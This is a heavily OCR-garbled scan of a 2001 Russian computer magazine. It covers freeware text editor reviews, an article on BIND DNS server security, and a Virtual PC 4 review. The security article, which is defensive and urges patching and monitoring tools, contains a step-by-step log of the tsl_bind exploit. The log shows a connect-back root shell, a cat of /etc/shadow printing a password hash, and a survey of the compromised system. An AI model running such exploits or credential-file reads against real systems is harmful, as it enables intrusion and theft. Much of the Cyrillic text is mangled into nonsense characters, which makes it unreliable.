CTpOMKM 3anpflTaHbl 
b HeApax nporpaMMbi 
— HT06bl yCTaHOBMTb 
53 3 bl K, npMAeTC5l no- 
KonaTbC5i b MeHio. B OKHe napaMeTpoB ecTb HecKO/ibKO 3a6aBHbix ABeTOBbix 
cxeM. MHe 6o^biue HpaBMTC5i «Windows», KorAa Baikal WordPad Mcno^b3yeT cm- 
CTeMHbie UBeTa. OneHb yAo6Hbie iua6^0Hbi m aBTOTeKCT. A^ropMTM ujmc|dpobkm, k 
co>Ka/ieHMio, AOBO/ibHO c^a6bm. riepeKOAMpoBiAMK, b o6iAeM, CAe/iaH KanecTBeH- 
HO. XopOLLIMM MMnopT M3 pa3HblX cflOpMaTOB. 

BpoAe xopoiuMM peAaKTop, ho 0CTaeTC5i ^erKoe BnenaT^eHMe HeAOAe/iaH- 
HOCTM M Aa>Ke Hep5UU/lMB0CTM. 


Bepcufl: 2.5 

Pa3pa6oTHMK: 

B. r. CypKOB 

Pa3Mep: 668 K6aHT 
OueHKa: 7,5 
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BepcM$i: 5.0 

Pa3pa6oTHMK: Baikal 
Software Group 

Pa3Mep: 902 K6aMT 
OueHKa: 7,5 
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Editor 


MlMti £]«l ■!■!*] 

M2tfi W\ I— 




O, Pe^aiaQ-p? 


BepcMn: 1.0 

Pa3pa6oTHMK: OueHKa 5. I/I HTepcJaekic BecbMa Aa/ieK ot «mh- 

H. A. EoHAapHyK Tymi/iBHO noHATHoro». OneHb mhoto 3araflOH- 

PasMep: 756 K6aMT Hb)x KHOn oK Ha naHe/iM m HCTpyMeHTOB. Mhoto 

OueHKa. 5 «HaBopoTOB», BK/uonafl fla>Ke He oneHb Hy>K- 

__ HbiM Ka/ieHflapb. B 

■! 

OKHe About KpynHbi- 
mm 6yKBaMM HanMca- 
ho: «3tot Editor cfle- 
/iaH BoHflapnyKOM 
HMKO/iaeM. Ec /in 
no/ib3yewbCfl, HanM- 
LUM MHe 0T3blB». XOTfl 

Editor 1.0 xopoiuo 
noHMMaeT cfiopMaT 
Word. TaK hto ero 

mo>kho peKOMeHflOBaTb k npMMeHeHMK) no/ib30BaTe/iflM Word — ec/iM Bbi He 
BbiMAeie M3 ce6a npn BMfle TaKMx naHe/ieM MHdpyMeHTOB. . . 


I'^IF a KW^ . M ll*!l HJF 1 W I | .. ,.. . ... | 

I'h'i.li'Kn li ju* Mu LH liki PI I I N >Ji I > LI' M 


Editor 

i i 

l>0H<!Iia))*iyK0M 


i. hifi 
] l^.-V> 

: r^wpi eoe 

i 

1 


i ti x k t £* hi* aw*! rm 


Bera 

Bepcun: 2.02 

Pa3pa6oTHMK: K. n. LBe- 
peivieTbeB 

Pa3Mep: 11,7 K6aMT 
OueHKa: 7 

3tot peAaKTop 3ac^y>KM^ oueHKy 7. M xotb 
no/iHoueHHbiM TeKCTOBbiM peAaKTopoM ero 
He Ha30Bemb, oh oneHb yAanHo 3aMeH^eT 
Notepad. CAe^aH b AcceM6^epe. floAAep- 

ljj.i!L!..m.TF' 1 

amdoci uinuonDic 


cjay h k 14 m m Notepad m 
H eKOTopbie Apyrue. 
flOBO/l bH 0 BblCOKyiO 
oueHKy 3ac^y>KM^ 

3a Ma/ibiM pa3Mep, 
6biCTpyio pa6oTy m 
yAo6Hbm MHTep- 
C(DeMC. 

Dlo^Q 

ii. PflSflmcp 1 — 

rTHb PHTrpO ijjTJTHpiF H# TH.'.TJrjrl ju 3 

; kjui 51 rfii-<iTji khuti mum HiNinuiH ujpWSwjIuwip E jy;-H luIkjiht^. 

k)MF. H. tTTflij; (flptrlWlWAM IWTinWlHIB •- HUWWin- 

T P"?tTi»i.n5 1 Bppi Etwiwpw miwnm b 

rjlH4U _-TH M1K I SLHllHSU IClElRirHUU ITJI IfllUII 1 1 UI|ILhjF 

Aj ±j J 



Quick Editor 


Bepcun: 1.0 

Pa3pa6oTHm<: 

M. M. Ko/iecHMKOB 

Pa3Mep: 624 K6aiiT 
OueHKa: 4 

:iiuo i tr i r 


n -V-fc-d* -#■ K- ■ ~- 

i— 


OueHKa 4. Bo-nepBbix, nporpaMMa OT/iMHaeTCfl 
He CJ 1 MLUK 0 M rpaMOTHbIM pyCCKMM B3blK0M. Bo- 
BTOpblX, CTpaflaeT OTCyTCTBMeM MeHfO. B-TpeTb- 
mx, TMn c^m/iob b 3tom peAaKTope He 3aflaeica. 

B neTBepTbix, MMnop- 
Ta/3Kcnopia flaHHbix 
b / M3 Word HeT (ho 
ec/iM 3to peflaKTop 
TeKCTOBbIX CfOM/lOB, 

TO 3T0, M0>KeT 6blTb, 
He Hy>KH 0 ?). B-naTbix, 
HeT cnpaBKM. I/I oamh 
n/noc: ecTb KOMaHAa 
«COXpaHMTb BCe», xo- 
ta 3aneM 0Ha Hy>KHa, 
He c/iMLUKOM noHaTHO. Mbi BeAb peAaKTMpyeM oamh AOKyMeHT 3a pa3. 

Ec/im 6bi aBTop ycTpaHM/i opcjDorpac|DMHecKMe owm6km, Ao6aBM j \ MeHio, cnpaB- 
Ky, MHoroAOKyMeHTHbm pe>KMM, pa6oTy c Word, TMnbi cfoM/iOB, cjiobom HanMca ji 
H opMa/ibHyio nporpaMMy, to ee mo>kho 6bmo 6bi Ha3BaTb TeKCTOBbiM peAaKTopoM. 


£j«C*l 


II A HQ* 


Aditor 


Di# 04 Q r v ft * = Im a u *! f 


Bepcusi: 2.0 

Pa3pa6oTHMK: 8,5 6ajlJ10B - PeAaKTop raa «npoABM HyTbix» 

D. Kinzhermann no/ib30BaTe/ieM. CpeAM bosmokhoctcm BbiAe- 

Pa3Mep: 1 M6aMT juhotca: 

OueHKa: 8,5 rioACBeTKa HTML CMHTaKCMca, /imctmhtob 

npOrpaMM A3blK0B 
nporpaMMMpoBaHMa; 

► rioAAep>KKa Unix 

nepeHoca crpoKM; 

► YAa/ieHMe HTML Te- 
rn b; 

► Pa6oTa c wa6/ioHa- 
mm (m 3 Bcex peAaKTO- 
POB 3T0 yMe/1 JIMLLIb 

Crypt Edit); 

► OyHKAMM nepexo- 

AMpOBKM. 

ripM nepBOM 3anycKe nporpaMMa 3anpaiuMBaeTycTaH0BKy HacTpoeK. PeAaKTop 
A0CT3T0HH0 yAo6Hbm, reHepMpyeTxopoiuMe web-crpaHMAbi. B Aditor BCTpoeH ot- 
/lMHHbiM nepeKOAMpoBiAMK, ho cnpaBKa k HeMy HanncaHa no-aHr/iMMCKM. riepeBOA 
HeKOTopbix KOMaHA HecKO/ibKO a/ianoBaT. KpoMe Toro, peAaKTop MMeeTyAo6Hyio 
nporpaMMy yAa^eHMa. Cxopee Bcero, Aditor noHpaBMTca /no6nTe/iflM npocTbix TeK- 
CTOBblX peAaKTOpOB C paaunpeHHblMM B03M0>KH0CTaMM. K CO>Ka/ieHMK), C|30pMaT 
Word oh He noHMMaeT, hto 33MeTH0 y6aBMT ko^mhcctbo ero hok/iohhmkob. 



■ 



J 




a 

Lm 1 1 

G±l 

im Bin hni *i: 


RPad32 


Bepcnq: 2.60 

Pa3pa6oTHMK: 

A. B. Ph6ob 

Pasiviep: 546 K6aiiT 
OueHKa: 8 



OueHKa 8. HMeeT rv\6\iv\e HacTpoM km, noA- 
Aep>KMBaeT ocHOBHbie pyccKMe koampobkm, 
M 0>KeT Bno^He 3aMeHMTb Notepad. 1/lMeeT 
Ma^biM pa3Mep. YAo6eH b pa6oTe. PeAaKTM- 
pyeT npocTbie TeKC- 
TOBbie cJoaM/ibi. Word, 
KOHeHHo, He 3aMe- 
HMT, a BOT TeM, KOMy 
npMXOAMTCfl HaCTO 
npeo6pa30BbiBaTb 
TeKCTbi b pa3Hbie ko- 
ampobkm, RPad32 
oneHb noMO>KeT. 


Mtotm » 


OnTMMa/ibHbiM Bbi6op: Psoft Editor 2000 m Crypt Edit 4.0. 

TeKCTOBbiM peAaKTop pj\s\ npocjDeccMOHa^OB — Everest. 

JlyHiuMM peAaKTop pj\s\ reHepauMM web-crpaHMA — Aditor. 

A^bTepHaTMBa Notepad — Bera, Rpad32, TeKCTOBMK. 

3cTeTMHHbiM MHTepcjDeMC — Bera, TeKCTOBMK, RPad32, Everest, Crypt Edit, PSoft 
Editor 2000, Baikal WordPad. 

Editor He 3ac/iy>KM/i HarpaA- Xot^i ec^M BaM noHpaBATCfl BecbMa CTpaHHbie na- 
He/iM 3 tom nporpaMMbi, to MO>KeTe Mcno^b30BaTb m ero. 

Quick Editor 53B/i53eTC53 BecbMa cbipbiM npoAyKTOM. Bo 3 mo>kho, HOBa^i BepcMfl 6yAeT 
yAOCToeHa HarpaAbi «AnbTepHaTMBa Notepad» v\m «3CTeTMHHbm MHTepc|DeMC». 

1 /lTaK — 6 /iaroAapfl 3 HTy 3 MacTaM-pa 3 pa 6 oTHMKaM m He 6 o^biuMM cjDMpMaM Ka>K- 
Abm MO>KeT Bbi 6 paTb ce 6 e TeKCTOBbiM peAaKTop no BKycy. A nocKO/ibKy noAaB- 
^^iioiAa^ nacTb nepeHMC/ieHHbix nporpaMM pacnpocTpaH 5 ieTC 5 i KaK «freeware», 
to. Bee, hto Tpe 6 yeTCfl p,nn ero no/iyneHMA, — sto coeAMHeHMe c I/I HTepHeTOM. 

■ ■ HviKOJiavi AMejmneB 
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Kawfloe yipo cncreMHbm aflMMHMCTpaTop KOMnaHMM N npocbinaeTCfl c tojiobhom 6 o/ibio: «KaK ce 6 n 
HyBCTByeT DNS-cepBep?» Tyi flePicTBMTe/ibHO ecTb Hafl neM 3 aflyMaTbCfi, ec/iM Bbi pa 6 oTaeie, Hanpi/mep, 
c oflHMM M 3 caMbix pacnpocrpaHeHHbix DNS-cepBepoB — Bind. 


B ^HBape MmepHeT jiMxopafli/i/io — b Bind Ha- 

LLI J1 M HeCKO/lbKO «flbip», n03BO/lfllOLAMX B3/10M- 
iMMKy no/iynaTb npaBa cynepno/ib30BaTe/ifl Ha yfla- 
jieHHOM ManiMHe. Bbi/iM HeMefl/ieHHO BbinyiAeHbi ho- 
Bbie BepcMM, ho Beflb Hy>KHo o6HOBMTb Bind Ha 
KawflOM cepBepe... TAe-TO cMcreMHbie aAMMHMcrpa- 
Topbi OTpearMpoBa/iM mthobchho, rAe-TO He oneHb 
6bicrpo, a rAe-TO He OTpeampoBa/iM coBceM. 

Bpofle pa6oTaeT, fla n /ia#HO... 

To, hto DNS-cepBep nepMOAMHecKM nepeciaeT pa- 
6oTaTb, He Bee cnmaiOT npo6/ieMOM, KaweTCfl, ne- 
pe3arpy3M/i MaiuMHy — n Bee b nop^AKe. A BeAb 
xanepbi He ApeM/noT. HeBAOMeK aAMMHMCTpaiopy, 
hto Ka>KAbm pa3, KorAa nepeciaeT pa6oiaTb DNS- 
cepBep, b CMCTeMy npoHMKaeT onepeAHOM b3/iom- 
iamk. KoHeHHO, nepe3 HeKOTopoe BpeM* oh Aora- 
AbiBaera, hto ero cepBep B3/iOMa/iM, TaK KaK Ma/io 
KTO M3 B3/10MLAMK0B npOHMKaeT B CMCTeMy npOCTO 
TaK: KTO-TO OCTaB/lfleT CBOM HenOBTOpMMblM aBTO- 
rpacj) Ha web-cipaHMHKe, kto-to CTMpaeT no/ib30- 
Baie^bCKMe cJaaM/i bi, cjiobom, Ka>KAbiM «Bece/iMra» 
KaK yMeeT. Ho y>Ke no3AHO — CMCTeMa CKOMnpo- 
MeTMpoBaHa. 


Be3onacHOCTb — ceroAHfl OAHa M3 caMbix 
Ba>KHbix npo6/ieM HHTepHeia. Mo>kho ziMWb noco- 
HyBCTBOBaTb TOMy aAMMHMCTpaTOpy, KOTOpbIM 06 
3 tom He 3aAyMbiBaeTC5i. B jiynweM c/iynae oh no- 
ziyHMT nMCbMO o B3/iOMe cepBepa m npeA/ioweHMe 
/i MKBMAMpoBaTb «Abipbi». B xyAiueM — eMy npn- 
Aera CTaBMTb cepBep 
3aHOBO, Hana^bHMK 
JIMLDMT npeMMM (m/ 1M 
BOBce yBO/iMi), a cmm- 
naTMHHaa 6yxra/iTep- 
uja nepecTaHeT Kop- 
MMTb 6yiep6poAaMM. 

HeBece/ibm neM3a>K. 

Hana/ibHMKy, y koto- 
poro pa6oTaeT TaKOM 
aAMMHMCTpaTOp, TO>Ke 
CTOMT nOCOHyBCTBO- 
BaTb: TpacjDMK b Mh- 
TepHeie coBceM He 
6ecn/iaTHbm. 

KaKMe >Ke npo6/ie- 
Mbl MOryT B03HM KHyTb 
npM HapymeHMM 6e- 


3onacHocTM cepBepa? flaHHbie, HaxoAfliAMeca Ha 
cepBepe, MoryT 6bnb MCKa>KeHbi, a to m BOBce 
noTepaHbi, KOHcjDMAeHAMa/ibHa^ MHcfiopMaAMfl ne- 
pedaHeT 6bHb TaKOBOM, no/ib30BaTe/iM He cmo- 
ryT no/iyHMTb ot cepBepa Hy>KHoe mm o6c/iy>KM- 
BaHMe. 



a CaHT pa3pa6oTHMKa aKcn/ioirra tsl_bind 
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flaBaPiTe npoc/ieAMM npoqecc B3/iOMa Ha npMMe- 
pe DNS-cepBepa c OC Linux, a 3aieM nocMOTpMM, 
neM mo>kho BOcno/ib30BaTbCfl fl/ifl npeflOTBpaiMeHM^ 
noflo6HoPi aiaKM. 

KaK bmaho M3 npMBefleHHoro ziMCTMHra, Becb 
b3/iom 3aK/iK)HaeTCii b 3anycKe 3Kcn/ioMTa, KOTopbm 
m fle^naeT Bee 3a Hac. TaKMM o6pa30M, no/iynaeTOi, 
hto ec/iM He c^eflMTb 3a 6e3onacHocTbio cepBepa, 
to jiio6om ne/iOBeK, cnoco6Hbm CKanaTb 3Kcn/ioMT 
M3 1/lHTepHeia, CKOMnM/iMpoBaTb ero (nocKO/ibKy 
OHM paCnpOCTpaH5HOTC51 B BMfle MCXOflHblX TeKCTOB, 
o6biHHO HanMcaHHbix Ha A3biKe C) m 3anycTMTb npo- 
rpaMMy, CMO>KeT npoHMKHyTb b Baiuy CMdeMy. 
ripMHeM 3 to MO>KeT 6biTb m He ne/iOBeK, a nporpaM- 
Ma-nepBb, npMMepbi neMy ywe edb: Raven, Lion, 
Adore. noc/ieflHMM M3 hmx, KCTam, Mcno/ib3yeT KaK 
pa3 onncaHHbie b 3tom ciaibe cyLAecTByioiAMe npo- 
6/ieMbi Bind. 

EepemeHoro 6or OepexteT 

CaMaa nepBaa m 3/ieMeHTapHafl Mepa 6e3onacHocTM 
— 33MTM Ha CaMT npOM3BOAMTe/lfl BaiUerO AMCTpM6y- 
TMBa Linux, noncKaTb TaM o6HOB/ieHMfl, CKanaTb m yc- 
TaHOBMTb mx. 3to ctomt Ae/iaTb KaK MMHMMyM napy 
pa3 b HeAe/iio, a to m naiAe, ec/iM He xotmtc, HTo6bi 
KaKOM-HM6yAb xaKep BOcno/ib30Ba/iCfl «AbipoM» b Ba- 
mePi cMCTeMe 6e3onacHocTM paHbiue, neM Bbi ee 3a- 
KpoeTe. 

TaK>Ke ctomt 3am5iHyTb Ha caMTbi, nocBfUAeHHbie 
KOMnbiOTepHOM 6e3onacHOCTM. HanpMMep: 
http://www.securityfocus.com (Ha aHr/iMMCKOM 
5i3biKe), http://www.void.ru, http://www.security- 
eLf.net (Ha pyccKOM). TaM Bbi HaMAeTe CTaTbM m pe- 
KOMeHAauMM no 3au\v\je cepBepoB, a T3K>Ke MHcfiop- 
MauMfo o BbmB/ieHHbix npo6/ieMax 6e3onacHocTM m 
pa3^MHHbie 3KCn/10MTbl. 

Pa3pa6oTHMKM AMCTpM6yTMB0B Linux BbinycKaiOT 
m naxeTbi o6HOB/ieHMM (packages) p,nn hmx. 3tm na- 
KeTbi p,nn pa3Hbix BepcMM AHCTpM6yTMB0B Aa>Ke oa- 
Horo m Toro >Ke pa3pa6oTHMKa 3anacTyio HecoBMec- 
TMMbl. B CBA3M C 3TMM HaAO MCK3Tb o6HOB/ieHMe 
MMeHHO TOTO AHCTpM6yTMBa M MMeHHO TOM BepcMM, 
KOTopaa ycraHOB/ieHa Ha BameM cepBepe, MHane 
B03M0>KHbl npo6^eMbl CyCTaHOBKOM M Aa/lbHeMLUMM 
MCn0/lb30BaHMeM. 

Hy>KHo y6paTb m jiMiiiHMe cepBMCbi, TaK KaK 
Ka>KAbiM Aono/iHMTe/ibHbiM cepBMC yBe/iMHMBaeT 
BepoiiTHocTb B3/iOMa cMCTeMbi, jim6o, ec/iM Ka- 
KMe-TO M3 hmx Hy>KHbi b /lOKa/ibHOM ceTM, c/ieAyeT 
pa3rpaHMHMTb AOCTyn k hmm (cpeACTBaMM 
firewall m/im caMOM nporpaMMbi). He ctomt c/imw- 
kom AOBepflTb yTM/i mt3m, 06/iernaioiAMM kohcJdm- 
rypMpoBaHMe CMCTeMbi, — pa3/iMHHbiM nporpaM- 
MaM, no3B0^5noiAMM ynpaB/mTb cmctcmom m3 p,v\a- 
zioroBbix MeHio, rAe Bee pea/ibHbie M3MeHeH ma 
CK pbiTbi ot aAMMHMCTpaTopa. HaAe>KHee ckohc|dm- 
rypMpoBaTb Ka>KAyio CMCTeMy caMOCTOATe/ibHO. 
KoHeHHO, ec/iM Bbi no/iHOCTbio yBepeHbi b tom, 
hto Ae/iaeTe. 

HeM Mbi MO>KeM BOcno/ib30BaTbCfl, HTo6bi o6/ier- 
HMTb He/ierKMM TpyA CMCTeMHoro aAMMHMCTpaTopa? 

CHIP MKDHb 2001 


A ziapHMK npocTO OTKpbiea/icn... 

rioAaBaeMbie KOMaHAbi OTMeneHbi cmmbo/iom # b Hana/ie ctpokm. 

► Script started on Mon Feb 12 14:50:22 2001 

► #hacker@hacker:~$ ./tsl_bind 111.222.333.444 — 3anycKaeTCfl 3Kcn/ioMT (nporpaMMa p,nn o6Hapy- 
)KeHMfl « a bi p» Ha yAa/ieHHbix MaiuMHax, no3BO/miOLAafl T3K>Ke no/iyHMTb AOCTyn k cJjaM/iOBOM CMCTeMe 
KOMnbioTepa) tsl_bind m «HaTpaB/iMBaeTCfl» Ha HywHbiM IP-aApec 

► . ISC bind 8.2.2-x remote buffer-overflow for Linux x86 

► . (c)2001 Tamandua Laboratories — www.axur.com.br 

► . (c)2001 Gustavo Scotti <scotti@axur.org> 

► . TCP listen port number 25000 

► . waiting for server response... 8.2.2-P5 — 3Ta BepcMfl ya3BMMa, HaHMHaeM aTaKy 

► . probing ebp... ebp is bffffc78 

► . waiting for connect_back shellcode response... connected 

► . A — > from 111.222.333.4444:1074 

► . congratulations, you have owned this one — no3ApaB/meT Hac 3Kcn/ioMT 

► Linux hacked.server.ru 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown — to, hto Mbi B3/iOMa/iM 

► uid=0(root) gid=0(root) — b pe3y/ibraTe B3/iOMa Mbi no/iynaeM npaBa no/ib30BaTe/m root 

► #who — KTO-HM6yAb ecTb b CMCTeMe? hmkoto. . . 

► #last — a kto m KorAa b noc/ieAHMM pa3 3Aecb 6bi/i? 

► reboot system boot Mon Feb 12 10:02 

► user pts/0 another.server.ru Thu Feb 8 10:24 — 10:24 (00:00) — no/iynaeM MHcfiopMaAMio m bmamm: 
noceiAaeMOCTb, matko roBopa, HeBbicoKaa 

► wtmp begins Thu Feb 8 10:24:05 2001 

► #dmesg — bwboa ot AApa 

► Linux version 2.2.5-15 (root@porky.deveL.redhat.com) (gcc version egcs-2.91.66 19990314/Linux 
(egcs-1.1.2 release)) #1 Mon Apr 19 22:21:09 EDT 1999 

► Detected 89815724 Hz processor. 

► ne.c:vl.lO 9/23/94 Donald Becker (becker@cesdis.gsfc.nasa.gov) 

► NE*000 ethercard probe at 0x300: 00 20 a9 02 3e 3e 

► ethO: NE2000 found at 0x300, using IRQ 5. 

Tenepb mo>kho nocMOTpeTb napo/in. He CTpaiuHo, hto ohm 3aiuMc|)poBaHbi, HaBepHflKa zierKO B3/iaMbiBa- 
iotca nepe6opoM no c/iOBapio 

► #cat /etc/shadow 

► root:$l$rsbxU5e$wnDCoqJYztE3aA9KcENWR/: 

11173:0:99999:7:-1:-1:134538460 

► emaiL:x:505:505:email:/tmp:/bin/bash 

► #hostname — y3HaeM mma m a lli m h bi 

► hacked.server.ru 

► #ps auxw — cnpaiuMBaeM, KaKMe npoqeccbi 3anyiAeHbi 

► USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 

► root 1 0.1 0.9 1096 468 ? S 09:59 0:04 init [3] 

► root 2 0.0 0.0 0 0 ? SW 09:59 0:00 [kflushd] 

► root 470 0.0 0.5 1052 276 ? S 10:02 0:00 update (bdflush) 

► root 601 0.0 1.7 2472 840 ? R 11:04 0:00 ps auxw 

► #tail /var/log/messages — cmotpmm, KaKMe noc/ieAHMe coo6iAeHMfl MMetOTca b ochobhom log-ct>aM/ie 
CMCTeMbi 

► Feb 12 10:39:32 service identd[551]: Connection from pinochet.cityline.ru 

► Feb 12 10:39:32 service identd[551]: from: 195.46.160.34 (pinochet.cityLine.ru) 
for: 1061, 25 

► Feb 12 10:46:05 service named[362]: Lame server on 'www.infars.ru' (in 'ru'?): [192. 16. 202. 11]. 53 
'NS.EU.NET' 

► #who — yTOHHMM, He noflBM/icfl Jim KTO-HM6yAb b CMCTeMe 3a 3 to BpeMfl; no-npe>KHeMy hmkoto... 

KaK bmamm. Bee npoM3om/io Ha yAMB/ieHMe npocTO, o neM Mbi m coo6iAaeM aAMMHMCTpaTopy 

► #echo «You're hacked, upgrade your bind» | mail root 

► #tail/var/log/maillog — npoBepMM, yiiuio jim nMCbMO 

► Feb 12 11:08:31 service sendmail[625]: LAA00625: from=root, size=43, cLass=0, pri=30043, nrcpts=l, 
msgid=<2001021 20808. LAA00625@ hacked. server.ru>, relay=root@localhost 

► Feb 12 11:08:31 service sendmail[627]: LAA00625: to=root, ctLaddr=root (0/0), delay=00:00:00, 
xdeLay=00:00:00, mailer=local, stat=Sent — yw/io 

► #exit — m tmxo yxoAMM caMM 


n p o 6 /i e m bi 6e3onacHOCTM DNS-cepBepoB 
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cjr™ 

a Cant, nocBHiuieHHbiM BonpocaM 6e3onacHOCTM 


B AApax Linux 2.0.X nporpaMMOM ynpaB/ieHna 
firewall a B/meTCfl ipfadm, b 2.2.X — ipchains, b 
2.4.X — iptables (http://netfiLter.kerneLnotes.org), 
PortSentry (www.psionic.com/abacus/portsentry) 
— o6Hapy>KMBaeT CKaHnpoBaHne nopTOB n no3BO- 
/meT npeAnpnH^Tb npoTMB CKaHMpyioLAero Koe-Ka- 
Kue AeMCTBn^ HanpnMep 6/ioKMpoBaHMe nepe3 
firewall. 

Nmap (www.insecure.org/nmap/index.html) — 


CKaHep nopTOB c wm- 
pOKMMM B03M0>KH0C- 
TflMM. 

Nessus 

(www.nessus.org) — 
CKaHep, npoBepaio- 
iamm CMdeMy Ha Ha- 
jinHne b Hen «Abip». 
CociaB/meT yAo6Hbie 
panopTbi o pa3Hbix 
0C06eHH0CTflX Maw m- 
Hbi m AaeT coBeTbi no 
noBOAy He3aiAMiAeH- 
HblX MeCT CMCTeMbl. 

OAHaKO nopoii AaeT 
mhoto /io>KHbix cpa6a- 
TblBaHMM. 

Lsof (ftp://vic.cc. 
purdue.edu/pub/ 
tools/unix/ lsof) — List Open Files — noKa3biBaeT, 
KaKMe nopTbi m c(3aM/ibi K3KMMM nporpaMMaMM OT- 
KpblTbl. 

Tcpdump (www.tcpdump.org) — cKaHMpyeT Becb 
cerMeHT ceTM, b kotopom 3aperMdpnpoBaHa Ma- 
WMHa. 

Snort (www.snort.org) — cucieMa AeieKTMpoBa- 
hma aiaK, cnoco6Hafl npoM3BOAMTb aHa/iM3 coAep- 
>KMMoro IP-naKeTOB b ceTM b pe>KMMe pea/ibHoro 


BpeMeHM. JlerKO KOHcjDMrypMpyeMaa m yAo6Haa b 
MCn0/lb30BaHMM. 

Saint (www.wwdsi.com/saint) — The Security 
Administrator's Integrated Network Tool — eiAe 
oamh CKaHep nopTOB. 

Tripwire (www.tripwire.com) — npoBepaeT ue- 
/lOCTHOCTb cfiaMJlOB no KOHTpO/1 bHOM cyMMe, pa3- 
Mepy n BpeMeHM AOdyna. no3BO/ifleT jierKO on- 
peAe/iMTb, KaKMe c|Da mji bi 6bi/iM 3aMeHeHbi b 3 /iom- 
IAMKOM. 

John The Ripper (www.openwaLl.com/john) — 
yin/ima, B3^aMbiBaioiAa^ wncjDpoBaHHbie napo/iM 
nyieM nepe6opa. no3BO/meT HaMTM «c/ia6bie» na- 
po/iM no/ib30BaTe/ieM. 

TrafShow (http://soft.risp.ru/trafshow/index.shtml) 
— aHa/ior Tcpdump, BM3ya/ibH0 noKa3biBaeT p,ma- 
MMKy npoueccoB, nponcxoAfliAnx b ceTM. 

Bee nepeHMC^eHHbie nporpaMMbi MoryT mc- 
no/ib30BaTbCfl m aAMMHMCTpaiopaMU, m b 3 /iomlam- 
KaMM. AAMMHMCTpaiopbi MiAyT npopexM b cbomx 
C eTflX M 3aKpblBaiOT MX. A B3/10M 1AM KM CK3H MpyiOT 
ceTM c ue/ibio npoHMKHOBeHMA nepe3 c/ia6bie Me- 
da. riosTOMy nocroflHHoe o6HOB/ieHMe npo- 
rpaMMHoro o6ecneHeHMA m nocroAHHoe Ha6/no- 
AeHMe 3a BbixoAfliAMMM 3Kcn/ioMTaM m MO>KeT ec/iM 
He cnacTM ot B 3/iOMa, to cbcctm ero noc/ieACTBMfl 
K MMHMMyMy. 

■ ■ ■ OKcaHa ATaMaHeHKO 
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SOFTWARE SMy/iflTop o n e p a u m o h h bi x c m c t e m 


Virtual PC 4 

/lyHLUMM PC — 

3to Macintosh 

Ec/im nofl a66peBnaTypoPi PC noHMMaib nepcoHa/ibHbiPi, to ecrb /iMHHbm, KOMnbKrrep, to MHe KaweTCfl, hto 
/ lynwi/iM PC — 3to Macintosh. Ec/im >Ke noA PC noHMMaTb KOMnbfOTep c onepaijMOHHOM CMCTeMOM Windows 
n npoiteccopoM Intel, to 3aro/ioBOK Bbinn/iAMT npoBOKaijMOHHO. Ho Mbi we nMeeM b bmay B03M0>KH0CTb 
3Kcn/iyaTapMn Ha Macintosh pa3/iMHHbix onepaAMOHHbix CMcreM AJifl KOMnbiOTepoB c npopeccopaMM Intel. 


K OMnbiOTepbi Apple (iMac, PowerMac, Cube, iBo- 
ok mum PowerBook) ucno/ib 3 yiOT coBepiueHHO 
MHbie npoueccopbi, neM IBM PC-coBMecn/iMbie, m 
co 6 cTBeHHyio onepauMOHHyio CMcreMy — Mac OS. 
Hio 6 bi Ha KOMnbiOTepbi Apple mo>kho 6 bmo MHcra/i- 
ziMpoBaTb flpyryio onepauMOHHyio CMCTeMy (HanpM- 
Mep Windows mam DOS) m 3 anycKaTb npeflHa 3 HaneH- 
Hbie pj\n Hee npM/ioweHMA, Hy>KHO npe>Kfle Bcero 
ycaHOBmb nporpaMMy p,nn SMy/muMM npoueccopa 
Pentium m Heo 6 xoflMMoro «>Ke/ie 3 a» ( 3 ByKOB 3 fl u 
rpac|)MHecKafl Kapia, MOfleM, ceTeBaa Kapia m t. fl.). 
3 tm bo3mo>khoctm pea^M30BaHbi b npoflyKTe KOMna- 
hmm Connectix — Virtual PC 4. 

Virtual PC 4 — 3 to nporpaMMa, KOTopaa 3 My/iM- 
pyeT Ha KOMnbiOTepax Apple pa 6 oiy npoueccopa 
Pentium MMX m Becb cneKTp Heo 6 xoflMMoro anna- 
paTHoro o 6 ecneneHMfl, b tom HMC/ie noflflep>KKy 
o 6 opyflOBaHM 5 i USB. Bo 3 mo>kho, BaM M 3 Becma no- 


▲ Windows Millennium b OKHe Mac OS 


Ao6Haa SMyjiflLjMfl CMCTeMbi Windows nofl Linux c 
noMOiMbio nporpaMMbi Win4Lin. B OT/ii/iHue ot 
W in4Lin, Virtual PC 4 MO>KeT 3My/iMpoBaTb m npo- 
ueccop, m KOMnoHeHTbi annapaTHoro o6ecneneHMfl. 

riocKOJibKy penb MfleT ziMWb o nporpaMMe, acho, 
HTO Tpe 60 BaHMfl K MOIMHOCTM KOMnblOTepa 3H3HM- 
Te/ibHbi. Virtual PC 4 onTi/iMM3upoBaHa aha npouecco- 
poB G3 m G4. CaMbm CTapbiM npoueccop G3 233 MTu 
cnoco6eH 3My/iMpoBaTb PC c npoueccopoM Pentium 
MMX 90 Ml"u. Bo/iee HOBbie npoueccopbi G3 400 MIa 
M oryT pea^M30BaTb bo 3 mo>khoctm Pentium MMX 150 
MIU a caMbie HOBbie KOMnbiOTepbi c npoLjeccopaMM 
G4 c nacTOTOM 6o/iee 600 MI"a — Pentium MMX 300 

MTu. 3 tM Be/lMHMHbl, KOHeHHO, npM6/lM3MTe/lbHbl, OHM 
BO MHOrOM 33BMCAT ot KanecTBa npMMeHaeMoro npu- 
/io>KeHM^, TMna m BepcMM onepauMOHHoPi CMCTeMbi. 
HanpMMep, HeKOTopbie 3aflaHM SMy/mTop MO>KeT Bbi- 
no/iHMTb 6biCTpee, neM opMrMHa/ibHbiM Pentium coot- 
BeTCTByioiMeM nacTOTbi. 

Bo/ibWMe Tpe6oBaHM5i npeflis- 
nsnswoTcn Ta K>Ke k flOCiynHOM 
onepaTMBHOM naMATM. Ec/im y Ba- 
mero Macintosh Bcero 32 M 6 aMT 
RAM, to Bbi c TpyflOM CMO>KeTe 
3My/iMpoB3Tb Aa>Ke DOS. Mmhm- 
MyM, Heo 6 xoflMMbiM p,nn 3My/i53 14 M m 
W indows, — 64 M 6 aMT naM/iTM. Co 
128 M 6 aMT y>ne mo>kho yBepeHHO 
3My/lMpOB3Tb npaKTMHecKM /iio 6 yio 
onepaAMOHHyio CMCTeMy aha PC 
(Windows 98/Millennium mjim 
L inux). 

I/I HCTa/lJI51l4M53 AOnO/lHMTe/lb- 
Hbix onepauMOHHbix CMcreM npo- 
MCXOAMT npaKTMHecKM TaK >Ke, KaK 
m npu Mcno/ib30BaHMM pea/ibHoro 




▲ Concern Bupiya/ibHbix moluhh — 3Aecb 
